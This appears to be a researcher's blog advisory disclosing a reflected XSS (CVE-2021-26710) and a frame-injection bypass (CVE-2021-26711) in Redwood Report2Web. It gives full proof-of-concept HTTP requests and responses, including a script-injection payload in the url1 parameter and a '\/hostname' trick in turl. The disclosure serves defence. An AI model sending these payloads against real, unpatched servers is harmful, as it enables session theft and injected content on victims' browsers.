CVE

Redwood Report2Web XSS and Frame Injection

vict0ni
Feb 4, 2021 • 2 min read

Report2Web v4.3.4.5 and v4.5.3 are vulnerable to XSS. v4.3.4.5 is also vulnerable to frame injection. Both issues are fixed in v4.6.0.

Report2Web Login Panel XSS - CVE-2021-26710

The value of the `url1` parameter is getting reflected without any sanitization, allowing a remote attacker to inject javascript code to the victim's browser.

Request:

```
GET /r2w/signIn.do?url1=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1
Host: [HOST]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en,en-US;q=0.7,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F291E04B316ED2DF72623ACEA8D952CA; r2wctg=3
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
```

Response:

```
...
<form name="form" action="signIn.do" method="post" onsubmit="return handleSubmit(th
 <input type="hidden" name="id" value="" />
 <input type="hidden" name="language" value="en" />
 <input type="hidden" name="url1" value=""><script>alert(document.cookie)</script>"

<div class="outer">
...
```

Report2Web Online Help Frame Injection - CVE-2021-26711

The `turl` parameter takes a local path as input and displays its content inside a frame, e.g. `?turl=/local/path/doc.html`. You can bypass the protection by using `\/hostname.tld` which the browser translates to `//hostname.tld` and then to `https://hostname.tld`, loading a malicious website inside the frame and leading to vulnerabilities like content injection and XSS.

Request:

```
GET /r2w/help/Online_Help/NetHelp/default.htm?turl=\/example.com HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en,en-US;q=0.7,de;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
```

Response:

```
...
<frame id="right" name="right" title="Topic text" src="\/example.com">
...
```

Brocade Fabric OS ≤ v8.0.2c rbash escape to read system files

[Post in Bitcrack's blog] Broadcom offers a number of products and networking solutions such as switches, extensions etc. These products come with their own operating system, i.e. the Fabric OS. It is a lightweight OS that upon logging in through ssh or telnet one is found within the restricted

vict0ni
Nov 29, 2022 • 1 min read

Mastodon